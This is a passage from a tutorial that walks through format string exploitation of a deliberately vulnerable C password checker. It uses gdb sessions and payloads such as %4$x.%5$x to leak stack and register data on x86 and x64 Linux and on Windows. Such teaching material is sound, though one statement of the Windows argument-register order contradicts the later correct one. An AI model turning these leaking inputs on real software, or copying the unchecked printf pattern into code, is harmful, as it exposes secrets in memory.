}</code></pre><p>Let&apos;s compile this locally to play with the program.</p><p>$<code>gcc sample1.c -g -o sample1.out</code></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/10/format1.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"><figcaption>Running the compiled program</figcaption></figure><p>The code above takes a user input and compare that with a string (&quot;<em>hello</em>&quot;). If the user input matches, then it prints &quot;<em>Your password is correct</em>&quot;.</p><p>As mentioned above, if the code is running in remote server with unknown string variable <code>password</code>, then it&apos;s not easy to get the success message without guessing. &#xA0;As an attacker, you can try to cause overflow by entering more than 100 chars as input, but we are restricting the no of character in <code>scanf</code> by using <code>%100s</code>. </p><p>You can guess that the code must be vulnerable to format string vulnerability(as this post is about that only), which occurs here due to directly passing the user input to <code>printf(input)</code> statement. Let&apos;s see how we can verify and exploit that.</p><p>Check, what will happen if we put the input with format string char in it.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/10/fmt3.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"></figure><p>We got &quot;test&quot; printed as it is, but <code>%x</code> get replaced with something else that looks like the memory addresses. We have to check the program in debugger to dig deeper.</p><p>The gdb shows the following disassembly of the program.</p><pre><code>(gdb) disas main
Dump of assembler code for function main:
   0x000011c9 &lt;+0&gt;:     lea    0x4(%esp),%ecx
   0x000011cd &lt;+4&gt;:     and    $0xfffffff0,%esp
   0x000011d0 &lt;+7&gt;:     pushl  -0x4(%ecx)
   0x000011d3 &lt;+10&gt;:    push   %ebp
   0x000011d4 &lt;+11&gt;:    mov    %esp,%ebp
   0x000011d6 &lt;+13&gt;:    push   %ebx
   0x000011d7 &lt;+14&gt;:    push   %ecx
   0x000011d8 &lt;+15&gt;:    sub    $0x70,%esp
   0x000011db &lt;+18&gt;:    call   0x10d0 &lt;__x86.get_pc_thunk.bx&gt;
   0x000011e0 &lt;+23&gt;:    add    $0x2e20,%ebx
   0x000011e6 &lt;+29&gt;:    movl   $0x6c6c6568,-0x76(%ebp)
   0x000011ed &lt;+36&gt;:    movl   $0x6f,-0x72(%ebp)
   0x000011f4 &lt;+43&gt;:    movw   $0x0,-0x6e(%ebp)
   0x000011fa &lt;+49&gt;:    sub    $0xc,%esp
   0x000011fd &lt;+52&gt;:    lea    -0x1ff8(%ebx),%eax
   0x00001203 &lt;+58&gt;:    push   %eax
   0x00001204 &lt;+59&gt;:    call   0x1040 &lt;printf@plt&gt;
   0x00001209 &lt;+64&gt;:    add    $0x10,%esp
   0x0000120c &lt;+67&gt;:    sub    $0x8,%esp
   0x0000120f &lt;+70&gt;:    lea    -0x6c(%ebp),%eax
   0x00001212 &lt;+73&gt;:    push   %eax
   0x00001213 &lt;+74&gt;:    lea    -0x1fe1(%ebx),%eax
   0x00001219 &lt;+80&gt;:    push   %eax
   0x0000121a &lt;+81&gt;:    call   0x1070 &lt;__isoc99_scanf@plt&gt;
   0x0000121f &lt;+86&gt;:    add    $0x10,%esp
   0x00001222 &lt;+89&gt;:    sub    $0xc,%esp
   0x00001225 &lt;+92&gt;:    lea    -0x1fdb(%ebx),%eax
--Type &lt;RET&gt; for more, q to quit, c to continue without paging--
   0x0000122b &lt;+98&gt;:    push   %eax
   0x0000122c &lt;+99&gt;:    call   0x1040 &lt;printf@plt&gt;
   0x00001231 &lt;+104&gt;:   add    $0x10,%esp
   0x00001234 &lt;+107&gt;:   sub    $0xc,%esp
   0x00001237 &lt;+110&gt;:   lea    -0x6c(%ebp),%eax
   0x0000123a &lt;+113&gt;:   push   %eax
   0x0000123b &lt;+114&gt;:   call   0x1040 &lt;printf@plt&gt;
   0x00001240 &lt;+119&gt;:   add    $0x10,%esp
   0x00001243 &lt;+122&gt;:   sub    $0x4,%esp
   0x00001246 &lt;+125&gt;:   push   $0x5
   0x00001248 &lt;+127&gt;:   lea    -0x6c(%ebp),%eax
   0x0000124b &lt;+130&gt;:   push   %eax
   0x0000124c &lt;+131&gt;:   lea    -0x76(%ebp),%eax
   0x0000124f &lt;+134&gt;:   push   %eax
   0x00001250 &lt;+135&gt;:   call   0x1030 &lt;strcmp@plt&gt;
   0x00001255 &lt;+140&gt;:   add    $0x10,%esp
   0x00001258 &lt;+143&gt;:   test   %eax,%eax
   0x0000125a &lt;+145&gt;:   jne    0x1270 &lt;main+167&gt;
   0x0000125c &lt;+147&gt;:   sub    $0xc,%esp
   0x0000125f &lt;+150&gt;:   lea    -0x1fc8(%ebx),%eax
   0x00001265 &lt;+156&gt;:   push   %eax
   0x00001266 &lt;+157&gt;:   call   0x1050 &lt;puts@plt&gt;
   0x0000126b &lt;+162&gt;:   add    $0x10,%esp
   0x0000126e &lt;+165&gt;:   jmp    0x1282 &lt;main+185&gt;
   0x00001270 &lt;+167&gt;:   sub    $0xc,%esp
   0x00001273 &lt;+170&gt;:   lea    -0x1fae(%ebx),%eax
   0x00001279 &lt;+176&gt;:   push   %eax
   0x0000127a &lt;+177&gt;:   call   0x1050 &lt;puts@plt&gt;
--Type &lt;RET&gt; for more, q to quit, c to continue without paging--</code></pre><p>The third printf (at <code>main+114</code>) is responsible to print the user input. So lets put a breakpoint before it and execute the program.</p><pre><code>(gdb) b *main+114
Breakpoint 1 at 0x123b: file sample1.c, line 10.
(gdb) r 
Starting program: /root/format_string/sample1.out 

Enter your password: %x.%x.%x


Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb)</code></pre><p>Check the last 10 stack value and then continue the program.</p><pre><code>(gdb) x/10x $esp
0xbffffb50:     0xbffffb6c      0xbffffb6c      0xb7fff950      0x004011e0
0xbffffb60:     0x6568004d      0x006f6c6c      0x00000000      0x252e7825
0xbffffb70:     0x78252e78      0x00000000
(gdb) c
Continuing.
 Your string is :bffffb6c.b7fff950.4011e0
 Password doesn&apos;t match
[Inferior 1 (process 919) exited normally]
(gdb) </code></pre><p>We can see that the returned string contain the last 3 stack entries except the latest <code>esp</code>. This behavior has occurred because the <code>printf</code> function parse the input string and found three format strings <code>%x</code> which it thought is passed as arguments. Since the parameters are passed in another function through pushing it on stack, <code>printf</code> pops last four entries (the first one is the string itself) and print them to stdout. </p><p>From the above case, we have learned to retrieve the stack data. Using the same we can retrieve the saved password in <code>password</code> variable. Since <code>password</code> is a local variable, the memory for it is allocated on &#xA0;stack. At <code>main+29</code> &#xA0;and <code>main+30</code> instructions, the value &quot;hello\00&quot; is moved into stack. Let&apos;s put a BP there and check that address.</p><pre><code>(gdb) b *main+43
Breakpoint 2 at 0x4011f4: file sample1.c, line 5.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/format_string/sample1.out 

Breakpoint 2, 0x004011f4 in main () at sample1.c:5
5           char password[10] = &quot;hello&quot;;
(gdb) x/x $ebp-0x76
0xbffffb62:     0x6c6c6568
(gdb)</code></pre><p>So our string is at address <code>0xbffffb62</code>. Now, continue till the BP at +114.</p><pre><code>(gdb) c
Continuing.

Enter your password: %x.%x.%x


Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $esp
0xbffffb50:     0xbffffb6c      0xbffffb6c      0xb7fff950      0x004011e0
0xbffffb60:     0x6568004d      0x006f6c6c      0x00000000      0x252e7825
0xbffffb70:     0x78252e78      0x00000000      0xb7fff000      0x00000000
0xbffffb80:     0x00000000      0xbffffc84      0xb7fb6000      0x00000000
0xbffffb90:     0x00000000      0xb7fb6000      0xb7e0dcb9      0xb7fb9588</code></pre><p>First <code>%x</code> will give the memory at <code>0xbffffb54</code>. So, 4th and 5th <code>%x</code> should return the variable <code>password</code> &#xA0;string. We can use the format <code>%n$x</code> to get the nth string directly.</p><pre><code>(gdb) r
Starting program: /root/format_string/sample1.out 

Enter your password: %4$x.%5$x

Breakpoint 1, 0x0040123b in main () at sample1.c:10
10          printf(input);
(gdb) c
Continuing.
 Your string is :6568004d.6f6c6c
 Password doesn&apos;t match
[Inferior 1 (process 1074) exited normally]
(gdb) </code></pre><p><code>0x6f6c6c6568</code> converts to &quot;hello&quot; in ascii.</p><blockquote>Note: In case if local variable <code>password</code> was a string pointer rather than char array, we have to use <code>%4$s</code> to treat that memory address as string pointer.</blockquote><p>So, we have found a way to retrieve the saved local variable data using format string vulnerability. We will stop the intro here as our goal is to just get a basic idea on format string exploitation, but format string exploitation is way more than this. It includes things like changing the stack data using <code>%n</code> , GOT overwrite etc.</p><h2 id="format-string-in-x64-linux">Format String in x64 linux</h2><p>As an initial thought, you may think that the format string exploitation should be almost similar for 64 bit, except in size of each format string entry i.e we will retrieve 8 bytes at once rather than 4 bytes. But format string in 64 bit is more than that.</p><p>Let&apos;s compile the same code in 64 bit machine and try to pass format string in user input like we do previously. This time we will pass <code>%p</code> instead of <code>%x</code>, since <code>%x</code> will only print 4 byte value but we need 8 byte for 64 bit architecture.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/10/fmt4.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"></figure><p>We got the expected output here. 2nd and 3rd value are (nil) because %p is showing 0x0 as (nil). Let&apos;s now confirm, where these values are coming from and try to retrieve the <code>password</code> string from stack. </p><p>In gdb debugger we got the following disassembly.</p><pre><code>(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001179 &lt;+0&gt;:     push   %rbp
   0x000000000000117a &lt;+1&gt;:     mov    %rsp,%rbp
   0x000000000000117d &lt;+4&gt;:     add    $0xffffffffffffff80,%rsp
   0x0000000000001181 &lt;+8&gt;:     mov    %fs:0x28,%rax
   0x000000000000118a &lt;+17&gt;:    mov    %rax,-0x8(%rbp)
   0x000000000000118e &lt;+21&gt;:    xor    %eax,%eax
   0x0000000000001190 &lt;+23&gt;:    movabs $0x6f6c6c6568,%rax
   0x000000000000119a &lt;+33&gt;:    mov    %rax,-0x7a(%rbp)
   0x000000000000119e &lt;+37&gt;:    movw   $0x0,-0x72(%rbp)
   0x00000000000011a4 &lt;+43&gt;:    lea    0xe59(%rip),%rdi        # 0x2004
   0x00000000000011ab &lt;+50&gt;:    mov    $0x0,%eax
   0x00000000000011b0 &lt;+55&gt;:    callq  0x1050 &lt;printf@plt&gt;
   0x00000000000011b5 &lt;+60&gt;:    lea    -0x70(%rbp),%rax
   0x00000000000011b9 &lt;+64&gt;:    mov    %rax,%rsi
   0x00000000000011bc &lt;+67&gt;:    lea    0xe58(%rip),%rdi        # 0x201b
   0x00000000000011c3 &lt;+74&gt;:    mov    $0x0,%eax
   0x00000000000011c8 &lt;+79&gt;:    callq  0x1070 &lt;__isoc99_scanf@plt&gt;
   0x00000000000011cd &lt;+84&gt;:    lea    0xe4d(%rip),%rdi        # 0x2021
   0x00000000000011d4 &lt;+91&gt;:    mov    $0x0,%eax
   0x00000000000011d9 &lt;+96&gt;:    callq  0x1050 &lt;printf@plt&gt;
   0x00000000000011de &lt;+101&gt;:   lea    -0x70(%rbp),%rax
   0x00000000000011e2 &lt;+105&gt;:   mov    %rax,%rdi
   0x00000000000011e5 &lt;+108&gt;:   mov    $0x0,%eax
   0x00000000000011ea &lt;+113&gt;:   callq  0x1050 &lt;printf@plt&gt;
   0x00000000000011ef &lt;+118&gt;:   lea    -0x70(%rbp),%rcx
   0x00000000000011f3 &lt;+122&gt;:   lea    -0x7a(%rbp),%rax
   0x00000000000011f7 &lt;+126&gt;:   mov    $0x5,%edx
--Type &lt;RET&gt; for more, q to quit, c to continue without paging--
   0x00000000000011fc &lt;+131&gt;:   mov    %rcx,%rsi
   0x00000000000011ff &lt;+134&gt;:   mov    %rax,%rdi
   0x0000000000001202 &lt;+137&gt;:   callq  0x1060 &lt;strcmp@plt&gt;
   0x0000000000001207 &lt;+142&gt;:   test   %eax,%eax
   0x0000000000001209 &lt;+144&gt;:   jne    0x1219 &lt;main+160&gt;
   0x000000000000120b &lt;+146&gt;:   lea    0xe22(%rip),%rdi        # 0x2034
   0x0000000000001212 &lt;+153&gt;:   callq  0x1030 &lt;puts@plt&gt;
   0x0000000000001217 &lt;+158&gt;:   jmp    0x1225 &lt;main+172&gt;
   0x0000000000001219 &lt;+160&gt;:   lea    0xe2e(%rip),%rdi        # 0x204e
   0x0000000000001220 &lt;+167&gt;:   callq  0x1030 &lt;puts@plt&gt;
   0x0000000000001225 &lt;+172&gt;:   mov    $0x0,%eax
   0x000000000000122a &lt;+177&gt;:   mov    -0x8(%rbp),%rdx
   0x000000000000122e &lt;+181&gt;:   sub    %fs:0x28,%rdx
   0x0000000000001237 &lt;+190&gt;:   je     0x123e &lt;main+197&gt;
   0x0000000000001239 &lt;+192&gt;:   callq  0x1040 &lt;__stack_chk_fail@plt&gt;
   0x000000000000123e &lt;+197&gt;:   leaveq 
   0x000000000000123f &lt;+198&gt;:   retq   
End of assembler dump.</code></pre><p>Like earlier, put a breakpoint on 3rd <code>printf</code> (main+113) and run the program. Next, check the last 20 <code>rsp</code>&apos;s and continue program execution. </p><pre><code>(gdb) b *main+113
Breakpoint 1 at 0x11ea: file sample1.c, line 10.
(gdb) r
Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $rsp
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x00000000      0x00000000
0x7fffffffdc90: 0x00f0b5ff      0x00000000      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil)
 Password doesn&apos;t match
[Inferior 1 (process 6580) exited normally</code></pre><p>It may look strange since the value returns in string is not similar to the ones we checked on the stack. </p><p>Let&apos;s run the program again, but this time also check the registers value.</p><pre><code>(gdb) r
Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) x/20x $rsp    
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x2e70252e      0x00007025
0x7fffffffdc90: 0x00f0b5ff      0x00000000      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) info registers
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x3a                58
rdi            0x7fffffffdc80      140737488346240
rbp            0x7fffffffdcf0      0x7fffffffdcf0
rsp            0x7fffffffdc70      0x7fffffffdc70
r8             0x0                 0
r9             0xffffffffffffff88  -120
r10            0x555555556021      93824992239649
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551ea      0x5555555551ea &lt;main+113&gt;
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil).(nil).0xffffffffffffff88
 Password doesn&apos;t match
[Inferior 1 (process 6973) exited normally]</code></pre><p>Again the value return are definitely not part of stack, but you can see <code>0x3a</code> &#xA0;and <code>0xffffffffffffff88</code> on the registers before the <code>printf</code> call. So, whats going on here?</p><p><strong>Calling convention Rule 1: &#xA0;</strong>In 64 bit architecture, the parameters to any function is passed using registers rather than by pushing it into stack. But this only happens for certain initial parameters i.e for better understanding, the sequence for parameter passing from left to right for both linux and windows is:</p><p><strong>Linux</strong>: <em>RDI, RSI, RDX, RCX, R8, &#xA0;R9, remaining from the stack</em></p><p><strong>Windows</strong>: <em>RCX, RDX, RSI, RDI, remaining from the stack</em></p><p>Coming back to our program, when we pass 5 <code>%p</code> , what we retrieve is the values from registers, as <code>printf</code> function thought the parameters should be passed on registers. Since, RDI represent input string, we only see parameters from <code>rsi</code> to <code>r9</code>. </p><p>Now, when we will pass more than 5 format chars, we will start to see the values from the stack.</p><pre><code>(gdb) r
Starting program: /home/hackintosh/projects/format_string/sample1.out 

Enter your password: %p.%p.%p.%p.%p.%p.%p.%p


Breakpoint 1, 0x00005555555551ea in main () at sample1.c:10
10          printf(input);
(gdb) info registers
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x3a                58
rdi            0x7fffffffdc80      140737488346240
rbp            0x7fffffffdcf0      0x7fffffffdcf0
rsp            0x7fffffffdc70      0x7fffffffdc70
r8             0x0                 0
r9             0xffffffffffffff88  -120
r10            0x555555556021      93824992239649
r11            0x246               582
r12            0x555555555080      93824992235648
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x5555555551ea      0x5555555551ea &lt;main+113&gt;
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) x/20x $rsp
0x7fffffffdc70: 0x00000000      0x65680000      0x006f6c6c      0x00000000
0x7fffffffdc80: 0x252e7025      0x70252e70      0x2e70252e      0x252e7025
0x7fffffffdc90: 0x70252e70      0x0070252e      0x000000c2      0x00000000
0x7fffffffdca0: 0xffffdcc7      0x00007fff      0xf7e73efc      0x00007fff
0x7fffffffdcb0: 0xf7fd34a0      0x00007fff      0x5555528d      0x00005555
(gdb) c
Continuing.
 Your string is :0x3a.(nil).(nil).(nil).0xffffffffffffff88.0x6568000000000000.0x6f6c6c.0x70252e70252e7025
 Password doesn&apos;t match
[Inferior 1 (process 2786) exited normally]</code></pre><p>As you can see above, after first 5 values we start to get the 8 bytes values from the stack. Luckily, our password string is also retrieved with other stack data.</p><h2 id="format-string-in-x64-windows">Format String in x64 Windows</h2><p>At last, lets check the format string in Windows system. Compile the same program in visual studio and execute it.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2020/10/fmt1.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"><figcaption>Format string exploitation in windows</figcaption></figure><p>We are getting some addresses as expected. But Let&apos;s verify that in debugger.</p><p>Open the program in <code>x64dbg</code> and put breakpoint at 3rd <code>printf</code>. Execute the program with 6 <code>%p</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/10/fmt2-1.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"></figure><p>Your code will break at 3rd <code>printf</code> call. Notice the register and stack at that instance.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/10/fmt4-1.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"></figure><p>Now, continue the execution to check the string returned by the program.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2020/10/fmt5-1.png" class="kg-image" alt="Impact of x64 calling convention in format string exploitation" loading="lazy"></figure><p>You will notice that the first three address are as expected from <em>RDX, R8, R9,</em> as the parameters passing sequence in windows is RCX, RDX, R8, R9 and stack. But the later 3 address are from stack after latest 4 entries( 32 bytes) in top of the stack.</p><p><strong>Calling convention Rule 2</strong>: In 64 bit windows, while calling a function, even tough the first 4 parameters are passed through registers, still space for them are allocated in stack for optimization purpose. This space of 32 bytes is called <strong><em>home space</em></strong> or <strong><em>shadow space</em></strong>.</p><p>Hence, in the above case we are not getting the data of first 32 bytes from <code>rsp</code> in our string since that space is reserved home space. After keeping that in mind, you can create your string with format characters &#xA0;in such a way that you reach to the saved password.</p><p>So, we have seen the two minor difference calling convention of 64 bit architecture cause, that can affect your format string exploitation. I will end the post here, but I will encourage you to do more research on format string exploitation since there is lot more ways you can use format string vulnerability.</p>]]></content:encoded></item></channel></rss>